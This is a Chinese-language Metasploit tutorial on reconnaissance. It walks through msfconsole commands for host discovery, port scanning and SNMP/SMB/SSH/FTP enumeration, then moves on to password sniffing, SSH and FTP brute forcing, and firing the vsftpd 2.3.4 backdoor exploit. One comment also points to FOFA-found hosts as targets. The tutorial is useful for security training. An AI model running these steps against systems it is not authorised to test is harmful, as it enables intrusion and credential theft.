当前位置: 代码迷 >> 综合 >> Metasploit(2) 渗透测试之信息收集
  详细解决方案

Metasploit(2) 渗透测试之信息收集

热度:53   发布时间:2024-01-31 05:37:23.0

基于 TCP 协议收集主机信息

  • 使用 Metasploit 中的 nmap 和arp_sweep收集主机信息

    • 在msf中使用nmap跟nmap的单独使用方法一样,只是nmap成了db_nmap。
      即:msf5 > db_nmap -sV 192.168.1.1
  • arp_sweep:用于通过ARP发现本地存活主机。注意:当使用本模块时出现以下情况时:
    在这里插入图片描述
    这是metasploit的权限不够,所以在启动metasploit时需要用root身份启动。

msf5 > use auxiliary/scanner/discovery/arp_sweep	#调用arp_sweep模块
msf5 auxiliary(scanner/discovery/arp_sweep) > info		#查看这个模块信息
msf5 auxiliary(scanner/discovery/arp_sweep) > options	#查看模块选项
msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 20.0.0.1/24	#设置当前本地网段
msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 20	#设置线程为20
msf5 auxiliary(scanner/discovery/arp_sweep) > run	#运行
  • 半连接扫描
    原理:向目标主机扫描端口发送SYN数据包。如果能够收到SYN+ACK数据包,则代表此端口开放。如收到RST数据包,则证明此端口关闭。如未收到任何数据包,且确定该主机存在,则证明该端口被防火墙等安全设备过滤。由于SYN扫描并不会完成TCP连接的三次握手过程,所以SYN扫描又叫做半开放扫描。
msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.1.1 	#设置扫描的目标 
msf5 auxiliary(scanner/portscan/syn) > set PORTS 80		#设置端口范围使用逗号隔开 
msf5 auxiliary(scanner/portscan/syn) > set THREADS 20 	#设置线程数
msf5 auxiliary(scanner/portscan/syn) > run
msf5 auxiliary(sniffer/psnuffle) > jobs		#查看msf后台运行进程
msf5 auxiliary(sniffer/psnuffle) > jobs -K		#杀死进程
  • 使用 auxiliary /sniffer 下的 psnuffle 模块进行密码嗅探
    这个 psnuffle 模块可以像以前 的 dsniff 命令一样。在同网段下,去嗅探密码,支持 pop3、imap、ftp、HTTP GET 协议。
监听:
msf5 > search psnuffle 
msf5 > use auxiliary/sniffer/psnuffle 查看 psnuffle 的模块作用: 
msf5 > auxiliary(sniffer/psnuffle) > info
msf5 > auxiliary(sniffer/psnuffle) > show options 
msf5 > auxiliary(sniffer/psnuffle) > run

此时在同网段在做ftp登录等操作,可嗅探到账号和密码。

基于 SNMP 协议收集主机信息

msf5 > use auxiliary/scanner/snmp/snmp_enum 
msf5 > auxiliary(scanner/snmp/snmp_enum) > show options 
msf5 > auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.1.18		#目标主机可以试试https://fofa.so/result?qbase64=cG9ydD0iMTYxIg%3D%3D 
msf5 > auxiliary(scanner/snmp/snmp_enum) > run

在这里插入图片描述

可见,通过 snmp 协议探测到的信息非常多。如服务器硬件信息和服务器当前运行的进程,这 两方面是其他扫描方式,获取不到的。

基于 SMB 协议收集信息

  • SMB,信息服务块(Server Messages Block,缩写:SMB),又称网络文件共享系统(CIFS)。是一种在局域网上共享文件和打印机的一种通信协议,它为局域网的不同计算机之间提供文件及打印机等资源的共享服务。

  • 经过Unix服务器厂商重新开发后,可用于连接Unix服务器和Windows客户端。执行打印、文件共享等任务。

  • 使用 smb_version 基于 SMB 协议扫描版本号

msf5 > use auxiliary/scanner/smb/smb_version 
msf5 > auxiliary(scanner/smb/smb_version) > show options  
msf5 > auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.3, 192.168.1.12 
msf5 > auxiliary(scanner/smb/smb_version) > run

注: 192.168.1.3 后面的逗号和 192.168.1.12 之间是有空格的

  • 使用 smb_enumshares 扫描基于 SMB 协议共享的文件(账号、密码)
msf5 > > use auxiliary/scanner/smb/smb_enumshares 
msf5 > auxiliary(scanner/smb/smb_enumshares) > show options 
msf5 > auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.56 
msf5 > auxiliary(scanner/smb/smb_enumshares) > set SMBUser administrator 
msf5 > auxiliary(scanner/smb/smb_enumshares) > set SMBPass 123456 
msf5 > auxiliary(scanner/smb/smb_enumshares) > run
  • 使用 smb_lookupsid 扫描系统用户信息(SID 枚举)
msf5 > use auxiliary/scanner/smb/smb_lookupsid 
msf5 > auxiliary(scanner/smb/smb_lookupsid) > show options 
msf5 > auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.1.56 
msf5 > auxiliary(scanner/smb/smb_lookupsid) > set SMBUser administrator 
msf5 > auxiliary(scanner/smb/smb_lookupsid) > set SMBPass 123456 
msf5 > auxiliary(scanner/smb/smb_lookupsid) > run

基于 SSH 协议收集信息

  • 查看 ssh 服务的版本信息
msf5 > use auxiliary/scanner/ssh/ssh_version 
msf5 > auxiliary(scanner/ssh/ssh_version) > show options 
msf5 > auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.180 
msf5 > auxiliary(scanner/ssh/ssh_version) > run
  • 对 SSH 暴力破解
msf5 > use auxiliary/scanner/ssh/ssh_login 
msf5 auxiliary(scanner/ssh/ssh_login) > show options 
msf auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.12 	#设置字典文件默认的字典文件是不满足实际需求的后期我们使用更强大的字典文件。
msf5 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt 
msf5 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true	#显示爆破过程
msf5 auxiliary(scanner/ssh/ssh_login) > run

基于 FTP 协议收集信息

  • 查看 ftp 服务的版本信息
msf5 > use auxiliary/scanner/ftp/ftp_version
msf5 auxiliary(scanner/ftp/ftp_version) > show options
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.83.139
msf5 auxiliary(scanner/ftp/ftp_version) > run
  • 经扫描,ftp的版本号为:vsFTPd 2.3.4,该版本有后门植入漏洞。利用一下:
msf5 > search 2.3.4
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor 
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > options
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.83.139
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

在这里插入图片描述

  • FTP暴力破解
msf5 > use auxiliary/scanner/ftp/ftp_login 
msf5 auxiliary(scanner/ftp/ftp_login) > options
msf5 auxiliary(scanner/ftp/ftp_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf5 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.83.139
msf5 auxiliary(scanner/ftp/ftp_login) > run

在这里插入图片描述